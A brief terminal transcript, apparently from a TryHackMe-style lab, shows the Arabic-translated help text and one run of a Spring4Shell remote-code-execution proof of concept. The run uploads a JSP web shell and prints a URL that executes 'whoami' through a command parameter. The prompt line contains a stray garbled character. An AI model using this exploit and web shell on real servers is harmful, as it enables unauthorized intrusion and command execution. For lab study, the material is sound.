ghost㿉uchiha:~$ ./exploit.py --help                                     
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url

Spring4Shell RCE إثبات المفهوم

الوسائط الموضعية:
  url                   عنوان URL الهدف

الخيارات:
  -h, --help            عرض رسالة المساعدة هذه والخروج
  -f FILENAME, --filename FILENAME
                        اسم الملف الذي سيتم رفعه (الافتراضي tomcatwar.jsp)
  -p PASSWORD, --password PASSWORD
                        كلمة المرور لحماية الصدفة (الافتراضي: thm)
  -d DIRECTORY, --directory DIRECTORY
                        مسار رفع الملف (الافتراضي: ROOT)

ghost㿉uchiha:~$ ./exploit.py http://url/
تم رفع الصدفة بنجاح!
يمكن العثور على الصدفة على: http://url/tomcatwar.jsp?pwd=evil&cmd=whoami